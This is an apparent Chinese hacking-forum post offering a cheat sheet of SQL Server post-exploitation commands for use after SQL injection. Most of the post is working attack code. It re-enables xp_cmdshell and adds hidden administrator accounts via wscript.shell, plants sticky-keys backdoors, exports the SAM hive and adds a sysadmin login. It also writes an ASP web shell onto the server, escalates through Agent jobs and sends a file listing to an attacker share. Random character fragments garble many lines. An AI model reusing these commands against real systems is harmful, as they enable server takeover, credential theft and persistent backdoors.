找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2275|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
& v6 P. F2 \3 x8 K  _0 A" p恢复方法:查询分离器连接后,
: R& V, R0 d1 i' I. Z3 y. G; U第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
; }; u/ G) D- @0 Z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 S5 `; _" h* a( L' Q& G- E2 v然后按F5键命令执行完毕) i8 }/ l8 E8 m
/ X; x& u" G/ d' ?' r; a
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
4 K& C. ^: B7 C& {; l恢复方法:查询分离器连接后,
# v5 ?4 w, }; W) `; \: C第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
8 }' V1 H5 L5 w3 h, y第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'4 ~4 t5 Y, N9 J, A; q6 V
然后按F5键命令执行完毕) }% b; T' `+ d/ D+ f  Y0 T  I" d

2 X* x* ~! F+ A+ a0 L5 c$ E3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
# x6 A* `/ i# ~6 u恢复方法:查询分离器连接后,
, P0 f; f& }% t- n! g/ ^0 J# Y第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
& A! E4 x1 v* h& H" X: Q3 T: Y第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
0 n# @2 m/ z7 P& S! F. v然后按F5键命令执行完毕+ H2 V) q3 S2 e! F/ _

+ F. i# d5 V  l0 E7 M  z3 C3 C  g4 终极方法.4 q' n" K2 Q- G; `$ ]5 c
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
! ^5 O6 u* V% m: D0 y' O( h- @查询分离器连接后,$ G" Q8 q8 {* p# J  K. [
2000servser系统:
* Y, W. k2 \: P% ideclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
# s$ K/ N1 [( B0 v% U# m3 p; t5 E! `: ~% ]
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
  Z6 ]# U) }6 [4 J8 R9 {8 f5 l
- I% k- d- |# {/ w! ]! V8 m1 cxp或2003server系统:8 m" u& e( q" W8 t- m0 u; q+ @
" _+ \( o; r9 ^" A5 Z& {
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'" y( _7 Q2 O, t0 P& W
, O+ h9 z2 J: S, b4 m% c* d
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 _; A% Y0 e* K, q( z7 ]6 |' T

& q5 T& T' D' u8 Z, @1 E$ d+ O; O) x  S% b0 I; i# W, c
五个SHIFT. b2 {, ]+ e8 }5 Z& H
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';& J& Z4 U" Z% N

5 a/ e! r: }  v! J% Jdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ) }& P# j3 o9 b9 N

4 b" q  ?1 H* G/ m" Z& vxp_cmdshell执行命令另一种方法
" T. j# {4 ?4 G; h# T& K' Edeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
9 I5 a2 d1 l* d4 H( x4 M) A" l
9 u7 K5 q" Y# {" F9 `: g判断存储扩展是否存在+ @+ ^: J9 U0 V) m+ U- X  `- H
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'; O7 c2 p. u6 O, v
返回结果为1就OK
' t1 R  n/ X2 T  u" C& j5 G7 F
+ T. m9 Q) \% r/ G$ Q! i
& ?$ [7 t/ `& o4 K5 m; B上传xplog70.dll恢复xp_cmdshell语句:4 X2 E0 i( _3 ]) x' a3 ]
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'1 y$ Q8 @# d) u/ J+ O
) K2 v! e. D; k1 |& F( F! ?
否则上传xplog7.0.dll0 h* B2 O& q2 Q( r
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& b1 [! W5 q0 c+ V+ i  a- i

! k! E4 a6 Z- z5 X" g' U5 p6 ^5 A& I2 r

) x5 Y) |" v( }  S首先开启沙盘模式:
) L' B! S; v9 L: Oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 P* |9 n+ |6 A/ K! m& |% n, p& b, y2 p
  Y7 o& y7 f; w2 u% P9 {6 g
然后利用jet.oledb执行系统命令; ^2 x: m# z' c1 d. \9 _3 b4 P2 [
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
1 o5 S% `: m% g8 d7 ^% ~返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了+ _: t, E7 U' e- a4 Q* D7 \1 a9 {! |
- D5 {& C$ q6 ?
* |6 Y: f3 e  ]: I% J8 g
, j/ g4 u! e; s4 W- \7 A
恢复过程sp_addextendedproc 如下:
% h% _( \6 F2 U- x, g4 o9 ~. tcreate procedure sp_addextendedproc --- 1996/08/30 20:13 1 z/ N  ^. J- H
@functname nvarchar(517),/* (owner.)name of function to call */ # D5 }( f3 b9 [
@dllname varchar(255)/* name of DLL containing function */ ( |9 f$ L; K) }' \* W1 M
as / ?+ b; q( {# ?2 |
set implicit_transactions off
. J/ R) Z; |- D$ t  jif @@trancount > 0
' ^; T$ r4 o2 y: i2 K, k* J8 p. w% tbegin
# p% F( b2 @4 Q5 A9 o. Mraiserror(15002,-1,-1,'sp_addextendedproc') 7 b* @- l3 r" X8 u
return (1) : u0 T0 U' ]. M# ]) V
end
9 s: g4 N" P7 z) K( I. h" K  o0 M) Sdbcc addextendedproc( @functname, @dllname)
, \5 c* i9 ?* o7 xreturn (0) -- sp_addextendedproc
- U# Z& W! u% L1 YGO
+ y4 n  q/ `2 _7 X: v( a3 k1 [
1 T/ R$ U# R  S/ s& b$ t
7 T2 {& V- c1 T4 Y* v/ @/ h1 M) R. F9 t' J, E
导出管理员密码文件
5 g8 W; g# |% B. e9 ~sa默认可以读sam键.应该。
  X! ~" U/ p, A! N5 R9 S4 f  s$ V# xreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
( p- C% N* T  S8 B! {* Gnet user administrator test
; N7 i, g8 f+ R. f% l  [: Y; i$ p用administrator登陆.
/ c% T' Z* P1 M' U4 q用完机器后
5 G+ r; _' \5 h* B8 c' Treg import c:\test.reg+ i2 f1 r5 v1 f2 B) Z7 G, _/ X
根本不用克隆.7 A  }* j& X% g$ p" C
找到对应的sid. ) R+ t* t: J* Z4 d3 z- k

  v6 k# z9 h' k0 z& \/ c! j9 s9 U

8 j) p2 O/ w3 \4 a( k7 p  v恢复所有存储过程# j( X+ L6 F# q1 n- z0 R! G# o
use master
% E1 Y0 g. _3 T, Oexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
7 L9 C1 e6 r' R. {: kexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
0 x: E5 ?2 G1 G) Texec sp_addextendedproc xp_loginconfig,'xplog70.dll'
4 y- o" q- {$ v; Q! a/ O* Rexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' # Y4 F# a5 Z0 u
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ! P5 E" v& R+ |' X0 E6 _1 u% n. Q
exec sp_addextendedproc sp_OACreate,'odsole70.dll' . g6 }2 b( e+ E
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 1 M# y1 y& n  F" y/ _
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
0 M9 W' c* `! C" |% |# D5 m' Y8 @exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 9 {4 _& ^0 c. q7 Z; Y# c5 Z
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 4 j+ p" V( }! A
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'   `) A  k% B3 m$ x! L7 A3 w  k
exec sp_addextendedproc sp_OAStop,'odsole70.dll' 9 F9 T; l  {. t: d1 L
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
$ e" N' d5 {2 `& kexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
: _7 x' C" x' `) E* @' {7 rexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
' X. q! I! a  n& s: @( }5 ?2 fexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' " ~8 C+ V% _+ Q1 G7 y' q
exec sp_addextendedproc xp_regread,'xpstar.dll' : D7 ]  |" p) I
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' $ j/ s1 P. ?% _. y% v
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ) k' x( p! Q$ r/ T  p
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'  h) g) H5 I* ~, P  Y( y3 l

. {3 e$ b; e. m7 j! |
6 E2 W5 D) }. y$ ~2 d9 T建立读文件的存储过程
; w; J6 I2 r4 x3 X( rCreate proc sp_readTextFile @filename sysname& t+ V+ o0 Q5 P0 X5 D- g' \1 W
as
, W% r* w: L) Q! H3 `5 x- P$ z
! [5 [3 [7 E' E* u) A: {    begin ! ^' G6 H2 o4 w% S2 H
    set nocount on
7 V" j4 c- {9 S4 Y$ m    Create table #tempfile (line varchar(8000))' ]$ k6 t$ I2 R5 S
    exec ('bulk insert #tempfile from "' + @filename + '"')
9 K# w5 `7 H6 H( D) ~    select * from #tempfile8 R9 v4 N) j, t+ S6 ]- s
    drop table #tempfile
' ^' m1 N7 L2 r5 qEnd; J- ~& R* }2 ~  O/ k* C7 _

! _9 Z, w& Q6 O9 ]7 ?exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
- a  b4 K, r. w, t# k6 w& }查看登录用户0 S8 d- W: ?+ y0 I7 @0 C' V
Select * from sysxlogins& w& v% I3 d- ^* e9 _. X5 ~1 X( p

- X+ E/ z6 N" ]. \2 u# l) n把文件内容读取到表中+ J7 Q  |8 K+ c8 j
BULK INSERT tmp from "c:\test.txt"; \1 x3 m: h' I8 t' `) x( g
dElete from 表名 清理表里的内容( T3 l( w, J; z8 T3 R
create table b_test(fn nvarchar(4000));建一个表,字段为fn
2 s! {/ W) j1 B9 k" T4 B4 K- F" x! Q' m, Z1 ~

$ R( o' C- v  z, X  x3 b, j加sa用户
' V6 t6 l! L* ~1 G  `exec master.dbo.sp_addlogin user,pass;. ~, [( P& r7 J0 i
exec master.dbo.sp_addsrvrolemember user,sysadmin
6 V4 c( k9 S! w2 ?, N8 U8 p1 Q
9 }" ]" `2 f& E, x+ O5 y
* X( ^' Y' x. p& v
读文件代码
: I' X0 l" R+ X' w: a$ T8 g! ^declare @o int, @f int, @t int, @ret int
/ }/ H0 U  U" }! Ndeclare @line varchar(8000)# b1 I4 L/ j" s( n7 _9 R
exec sp_oacreate 'scripting.filesystemobject', @o out
' l1 n: k# J) S' h# Iexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1+ I( Y. X8 k. W/ l; B
exec @ret = sp_oamethod @f, 'readline', @line out
9 }) M- e7 Z- D$ dwhile( @ret = 0 )
/ O, J. H2 ?& M3 ~; o9 p$ w$ [begin
( E# y/ h( ]" n1 _( lprint @line& O( [; N8 ?0 B$ E  o
exec @ret = sp_oamethod @f, 'readline', @line out
) p3 k# s! t3 ^end5 |( {' x, }3 X4 f
' w' `/ }' k# ^& k& }3 Z

- h; w* J0 Y, s' ^% w" y+ [写文件代码:
, ?% R6 @: c, M2 C8 R1 Xdeclare @o int, @f int, @t int, @ret int
/ |+ j) h0 `9 A- O$ ~. Iexec sp_oacreate 'scripting.filesystemobject', @o out
% s9 H9 ^2 V. z- n* Eexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
$ W- n2 _! }1 i( _  yexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》7 M! L6 c. o/ B4 s
& W! \, Z. U) {( G2 y( ^; {' T/ }1 y

- U* s3 F/ q# F( T添加lake2 shell
( N  B( Q! ^7 v1 J/ z) E3 t$ I: Z+ ?sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
( R" q4 N( `- X- f9 |& r  y& {+ \8 vsp_dropextendedproc xp_lake2
/ C. p1 \$ i! xEXEC xp_lake2 'net user'
1 l7 E  ~3 P7 V. X$ s! q# P7 @- P) U8 z+ f! b9 N# F7 ]
' n% z5 R2 {, J
得到硬盘文件信息
* n" h8 J3 h0 k" D, ?# A3 L- j--参数说明:目录名,目录深度,是否显示文件   q& @+ y0 f/ f$ W1 y+ l: X4 ?
execute master..xp_dirtree 'c:' ; H7 q1 @3 T" f
execute master..xp_dirtree 'c:',1
, X3 u3 R9 }- t2 z5 ^1 [' lexecute master..xp_dirtree 'c:',1,1
9 i0 m/ k8 j# n; @/ g7 q
9 E! ]( _! f+ H' |: \# D
  U) ~! p& G3 |/ y4 {3 I) E/ T读serv-u配置信息% Y$ A# X2 r4 X
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
: K/ J: s9 Q- |" T2 I! aexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini': u9 i8 ?; ~) j& L2 ~
  ~, }# i5 `6 I) V  P
通过xp_regwrite写SHIFT后门
& E" c3 o& e# [6 H3 P* {' Xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--  d( K* O, _  e! l& `; [1 q
) K( I5 _$ [' `  r# P3 ]
, l/ f6 J" [: m0 r% e! M

! g* o# b3 }6 B1 m! z5 B找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
  v) Y1 C' v1 e0 e2 m7 B9 h/ nexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
+ c; O/ N; l+ \2 T- e( W, l9 Z) j' J( m- H; C! U; B+ S8 C
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! f7 M* F  |: C& O5 |. K# F/ H7 g  M
' B4 n/ ^8 C7 _! ?: Z" _
$ `6 H4 L! o; P) P5 @1 m
sql server 2005下开启xp_cmdshell的办法4 S4 g  }4 ~) A+ P6 r0 [- }/ J

5 t: W" W3 A9 t- j6 n: EEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;+ b" p  u+ y+ d, j; j
4 H& h9 m6 L8 Y9 `# X
SQL2005开启'OPENROWSET'支持的方法:
% Q7 L# `, F' f9 \6 S4 K: E' y: Q, Z1 Q; |7 P* [# L
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
" Z, W5 ~# z/ H& s+ H, f) H& A6 m2 @
$ K3 B- ~$ c4 S; k7 H! HSQL2005开启'sp_oacreate'支持的方法:' [- q2 w- d* V* ]

$ J8 ?, K+ C% q1 i% Q- ?! jexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;: Q  l  X$ D1 X5 w- e$ r) N

4 X; L9 V- t; ]& n9 {6 M; K  g' l5 F5 X2 g# t& E: s
2 X% Y1 |' _9 w
/ G% ?* l3 [" H3 \, a* v& F
( E# H9 G! L3 J6 P  Q+ i! N

: U- J; N4 y2 Y
) r5 X( e( y+ i9 [* ~: r7 U7 q; B* [7 c* r5 M4 ?

) k8 D/ f% c7 n+ _6 g# b$ ]& c  P( e/ `) ?/ o1 J5 s

/ k0 _3 D3 M0 s3 h
. x0 v0 E! ?( {; y$ t1 m8 _) Y- {9 E* U6 ?+ o
. p# q. a  M! Q0 U, ?& u
/ k, d% j7 z7 U6 {! E1 [- s1 E6 I& L

. H$ X+ C4 d( R& O. P+ p2 v) S1 N) Z- |' Y9 h/ i, u0 \

  a2 V* a* M; M9 x1 }' }  O. n5 u$ a/ k5 O0 }/ @. Q% @
/ C% x1 d  L+ f8 v; K8 ?3 P

/ Y( F+ b" D( \( C. b/ r! K( p; u- b2 H2 J# P  @/ z0 j& S( Z7 Z
/ K7 b/ L- g9 ]
8 j4 h) H0 v0 C* ~2 v# H& J
以下方面不知道能不能成功暂且留下研究哈:6 e1 T8 G. M6 n- W
4)
5 h+ M$ {. N% b2 X- j6 Ruse msdb; --这儿不要是master哟; a" Q, e3 i; f8 r# s
exec sp_add_job @job_name= czy82 ;
: \" x% k- j+ {: A/ O8 z' K2 T; Qexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
( p% k% V# X/ G% w" B& ]exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;* R: m  a0 W9 Y8 v5 O& J% C+ [
exec sp_start_job @job_name= czy82 ;
$ i$ F: C* K' E' J0 P! P2 b! D0 a% L6 @8 t1 b# u7 l
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以$ w  g# t5 ]% _/ q1 d! a( b" m
执行tsql语句了.( h, M6 q6 R9 X8 C+ M. R. P3 q
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
% c% G/ Y$ I( K% {7 L$ t第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
& e4 G4 u9 v4 c6 [3 g7 N7 M4 ynet start SQLSERVERAGENT, b3 B- b3 h0 c9 ?0 R

6 q% M" a9 O& v, t; Q对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的1 Y; m5 h' R7 |* |, V
USE msdb2 g. {# G* V! C9 M, H6 l6 j
EXEC sp_add_job @job_name = GetSystemOnSQL ,  k6 u) g/ r' j8 u& Y
@enabled = 1,
* n' r# f2 _) v7 w% z# i@description = This will give a low privileged user access to* m# P2 Q3 d  [' y4 [
xp_cmdshell ,3 k5 M2 V+ h6 H
@delete_level = 1: ^3 s! z9 j3 g: D/ r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,: M+ o- V, A9 O' ^: P
@step_name = Exec my sql ,) ^. U, y4 U6 t: g: b' a6 g
@subsystem = TSQL ,' R( w* {6 w# V  v
@command = exec master..xp_execresultset N select exec
7 T: e* Y) W  P6 e2 l" ?# _1 `master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 3 O) j9 d6 m) j$ Y
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ," C# |. M2 }7 o2 O
@server_name = 你的SQL的服务器名 : z3 o1 I: _2 U. l9 ~
EXEC sp_start_job @job_name = GetSystemOnSQL 0 k' W9 N& E3 I1 m/ x0 v
8 S$ g3 @$ }3 K7 K9 P& L  y
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: ~" {. R# s) @8 ~( t# ~8 F# d8 K才让我们可以以public执行xp_cmdshell3 S' O7 Y" b5 _. E

$ D1 e" y5 K$ N$ z! }( ^5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)  A: b  \: C2 b
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
# W$ ?9 \2 v5 a. n0 \! l5 y4 P$ B3 w" L/ Y
USE msdb
8 Z* [# O) M& x1 u5 D+ oEXEC sp_add_job @job_name = ArbitraryFilecreate ,3 d, s. I9 b- [1 g4 g2 B* p5 g
@enabled = 1,
1 g" o+ l  V' W; t% Q@description = This will create a file called c:\sqlafc123.txt ,
4 z* }+ H. Q' y! u8 j3 b; R* ]  q@delete_level = 1  U0 [( @$ @1 K7 W# J6 f
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,8 J& ^8 K. s2 T+ C
@step_name = SQLAFC ,
; R  V' z$ R& X% K6 a5 A4 ?+ e@subsystem = TSQL ,
3 F4 S9 o# m# K' I' ^% q@command = select hello, this file was created by the SQL Agent. ,
: V; M! i1 [3 M! N( R@output_file_name = c:\sqlafc123.txt
$ b% b9 ^) N, gEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,& b  n1 J! ]6 Q- |: f/ @
@server_name = SERVER_NAME ! @( @% g( h! `  B5 `
EXEC sp_start_job @job_name = ArbitraryFilecreate
0 {  E0 o& J3 A, W
$ D: G5 t$ g5 j' ^8 Z; x如果subsystem选的是:tsql,在生成的文件的头部有如下内容% u6 J* `. t$ e# t% F7 Q

7 y$ F# ?/ q; I4 c??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
% R! P8 Q/ ~  q5 d* |8 J; ?----------------------------------------------3 b( h, k+ ?3 O  d1 d
hello, this file was created by the SQL Agent.; d6 S% d# q- L: j* _
& g( L( h3 n* ~- D* F5 A8 h
(1 ?????)
4 t& [; d* d- [9 v9 d( Z; I$ A7 Z$ p6 c7 N/ _& ^# l* A" S
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
5 x6 S# S5 o3 V- F* j& ~- R命令的vbs文件到启动目录!4 C" o, T; ^- F) u

" Q2 I2 y. K* N$ L3 K! P% F9 d( u6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
' E6 U9 F0 A5 q关于sp_MScopyscriptfile 看下面的例子- g$ U3 p  r" E3 S; X+ `- ?. W
declare @command varchar(100)
; [( M9 B% ~8 d% N& U; Ddeclare @scripfile varchar(200)
: k* B- ?( Y9 N1 k" f" cset concat_null_yields_null off 2 f; ^' G$ I/ N8 _! e6 R9 [/ {
select @command= dir c:\ > "\\attackerip\share\dir.txt"
% |% g  x" ?- ^8 [5 A) Cselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
9 W) h- n$ q3 X; @* c$ X, sexec sp_MScopyscriptfile @scripfile , ' ~$ E5 B* \% x5 H2 l' I
1 q& \$ r4 p5 u$ P! S% R: M5 q
这两个东东都还在测试试哟
, X* R/ ?+ d9 ?8 b# k让MSSQL的public用户得到一个本机的web shell
1 F, W/ s4 _3 L6 q
1 u/ A4 V% C! B5 `" [sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,! D4 r- B( J/ ?/ ~. Z
--@query= select <img src=vbscript:msgbox(now())>
& [6 H  M) i" D- e--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
/ r1 k0 ?0 I- Y1 W8 }# z0 s- D@query= select
& [5 y! }# f" n. {( B1 E/ n) c<%On Error Resume Next 1 s3 C7 j' D2 u" F% T0 ^
Set oscript = Server.createObject("wscript.SHELL")
) A8 P% n1 M8 lSet oscriptNet = Server.createObject("wscript.NETWORK") 5 c& I* [5 q7 s8 a" @/ ^
Set oFileSys = Server.createObject("scripting.FileSystemObject") ! m2 b' g6 z0 w8 [; p
szCMD = Request.Form(".CMD") / D# _/ O$ [; ^, c7 }; K
If (szCMD <>"")Then 7 ~4 q& \+ S6 ^% R- }
szTempFile = "C:\" & oFileSys.GetTempName() ( h$ w, `7 w, {) \/ B
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 7 D* Q! b1 ?; h7 @
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
( u5 F3 ?) g7 iEnd If %> 4 t7 k3 |: _$ Q3 k( W
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 0 Y9 R% I& G9 a3 e7 A& z- I
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> % j5 ]+ L6 h8 n- R% g
</FORM><RE>
/ M, G0 p0 J. b# \( P. V( T& y<% If (IsObject(oFile))Then
, y/ S) y) D3 s! t4 s1 tOn Error Resume Next
7 j& P; p: [) ~  a7 N) Z: R/ y  SResponse.Write Server.HTMLEncode(oFile.ReadAll) " E9 x/ B- K8 Q4 b/ h& Q! y9 d
oFile.Close
$ K# F" l. D6 kCall oFileSys.deleteFile(szTempFile, True) ; `5 a( w$ U. L* x2 Z
End If%> 1 O4 s6 X1 l; M0 y
</BODY></HTML> 5 c4 Y9 A- o5 ?/ e+ ?6 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表